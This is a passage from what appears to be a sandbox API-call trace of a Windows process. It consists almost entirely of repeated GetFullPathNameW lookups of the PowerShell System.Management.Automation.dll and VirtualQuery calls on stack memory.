lpBuffer=0x2bdf10*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.613] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd8c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.613] GetLastError () returned 0x0 [0149.613] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd878, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.613] GetLastError () returned 0x0 [0149.614] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd878, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.614] GetLastError () returned 0x0 [0149.614] VirtualQuery (in: lpAddress=0x2bced4, lpBuffer=0x2bded4, dwLength=0x1c | out: lpBuffer=0x2bded4*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.614] VirtualQuery (in: lpAddress=0x2bcf10, lpBuffer=0x2bdf10, dwLength=0x1c | out: lpBuffer=0x2bdf10*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.614] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd8c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.614] GetLastError () returned 0x0 [0149.614] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd878, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.614] GetLastError () returned 0x0 [0149.614] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd878, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.614] GetLastError () returned 0x0 [0149.614] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.615] GetLastError () returned 0x0 [0149.615] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdde0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.615] GetLastError () returned 0x0 [0149.615] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdde0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.615] GetLastError () returned 0x0 [0149.615] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdd90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.615] GetLastError () returned 0x0 [0149.615] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdd40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.615] GetLastError () returned 0x0 [0149.615] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdd40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.615] GetLastError () returned 0x0 [0149.615] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bded0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.616] GetLastError () returned 0x0 [0149.616] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.616] GetLastError () returned 0x0 [0149.616] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.616] GetLastError () returned 0x0 [0149.616] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bded0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.616] GetLastError () returned 0x0 [0149.616] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.616] GetLastError () returned 0x0 [0149.616] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.616] GetLastError () returned 0x0 [0149.616] VirtualQuery (in: lpAddress=0x2bd344, lpBuffer=0x2be344, dwLength=0x1c | out: lpBuffer=0x2be344*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.617] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdd38, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.617] GetLastError () returned 0x0 [0149.617] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdce8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.617] GetLastError () returned 0x0 [0149.617] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdce8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.617] GetLastError () returned 0x0 [0149.617] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdb00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.617] GetLastError () returned 0x0 [0149.617] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdab0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.617] GetLastError () returned 0x0 [0149.618] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdab0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.618] GetLastError () returned 0x0 [0149.618] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdb00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.618] GetLastError () returned 0x0 [0149.618] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdab0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.618] GetLastError () returned 0x0 [0149.618] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdab0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.618] GetLastError () returned 0x0 [0149.618] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdb00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.618] GetLastError () returned 0x0 [0149.618] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdab0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.618] GetLastError () returned 0x0 [0149.618] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdab0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.619] GetLastError () returned 0x0 [0149.619] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdb00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.619] GetLastError () returned 0x0 [0149.619] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdab0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.619] GetLastError () returned 0x0 [0149.619] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdab0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.619] GetLastError () returned 0x0 [0149.619] VirtualQuery (in: lpAddress=0x2bd344, lpBuffer=0x2be344, dwLength=0x1c | out: lpBuffer=0x2be344*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.619] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdd38, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.619] GetLastError () returned 0x0 [0149.620] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdce8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.620] GetLastError () returned 0x0 [0149.620] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdce8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.620] GetLastError () returned 0x0 [0149.620] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdb00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.620] GetLastError () returned 0x0 [0149.620] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdab0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.620] GetLastError () returned 0x0 [0149.620] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdab0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.620] GetLastError () returned 0x0 [0149.620] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdb00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.621] GetLastError () returned 0x0 [0149.621] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdab0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.621] GetLastError () returned 0x0 [0149.621] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdab0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.621] GetLastError () returned 0x0 [0149.621] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdb00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.621] GetLastError () returned 0x0 [0149.621] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdab0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.621] GetLastError () returned 0x0 [0149.621] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdab0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.621] GetLastError () returned 0x0 [0149.622] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdb00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.622] GetLastError () returned 0x0 [0149.622] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdab0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.622] GetLastError () returned 0x0 [0149.622] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdab0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.622] GetLastError () returned 0x0 [0149.622] VirtualQuery (in: lpAddress=0x2bd344, lpBuffer=0x2be344, dwLength=0x1c | out: lpBuffer=0x2be344*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.622] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdd38, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.622] GetLastError () returned 0x0 [0149.623] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdce8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.623] GetLastError () returned 0x0 [0149.623] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdce8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.623] GetLastError () returned 0x0 [0149.623] VirtualQuery (in: lpAddress=0x2bd344, lpBuffer=0x2be344, dwLength=0x1c | out: lpBuffer=0x2be344*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.623] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bded0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.623] GetLastError () returned 0x0 [0149.623] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.623] GetLastError () returned 0x0 [0149.623] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.623] GetLastError () returned 0x0 [0149.623] VirtualQuery (in: lpAddress=0x2bcf74, lpBuffer=0x2bdf74, dwLength=0x1c | out: lpBuffer=0x2bdf74*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.624] VirtualQuery (in: lpAddress=0x2bcfb0, lpBuffer=0x2bdfb0, dwLength=0x1c | out: lpBuffer=0x2bdfb0*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.624] VirtualQuery (in: lpAddress=0x2bd278, lpBuffer=0x2be278, dwLength=0x1c | out: lpBuffer=0x2be278*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.624] VirtualQuery (in: lpAddress=0x2bd2b4, lpBuffer=0x2be2b4, dwLength=0x1c | out: lpBuffer=0x2be2b4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.624] VirtualQuery (in: lpAddress=0x2bd278, lpBuffer=0x2be278, dwLength=0x1c | out: lpBuffer=0x2be278*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.624] VirtualQuery (in: lpAddress=0x2bd2b4, lpBuffer=0x2be2b4, dwLength=0x1c | out: lpBuffer=0x2be2b4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.625] VirtualQuery (in: lpAddress=0x2bd2b4, lpBuffer=0x2be2b4, dwLength=0x1c | out: lpBuffer=0x2be2b4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) 